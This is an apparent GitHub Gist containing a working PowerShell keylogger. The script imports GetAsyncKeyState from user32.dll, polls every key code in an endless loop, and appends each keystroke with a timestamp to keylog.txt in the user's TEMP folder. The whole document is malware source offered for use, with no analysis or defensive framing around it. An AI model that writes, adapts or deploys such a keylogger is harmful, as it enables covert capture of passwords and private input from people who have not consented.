Last active
November 20, 2025 19:08
-
-
Save justaguywhocodes/be565c9cc3747823b765dfcaf086503d to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Add-Type @' | |
| using System; | |
| using System.Runtime.InteropServices; | |
| public class Win32 { | |
| [DllImport("user32.dll")] | |
| public static extern short GetAsyncKeyState(int vKey); | |
| } | |
| '@ | |
| $logFile = "$env:TEMP\keylog.txt" | |
| while ($true) { | |
| Start-Sleep -Milliseconds 40 | |
| for ($i = 8; $i -le 254; $i++) { | |
| $state = [Win32]::GetAsyncKeyState($i) | |
| # Test if key is pressed (bit 15 = currently pressed) | |
| if ($state -band 0x8000) { | |
| $key = [System.Windows.Forms.Keys]$i | |
| "[$(Get-Date -Format 'yyyy-MM-dd HH:mm:ss') ] $key" | Out-File -FilePath $logFile -Append -Encoding ascii | |
| } | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment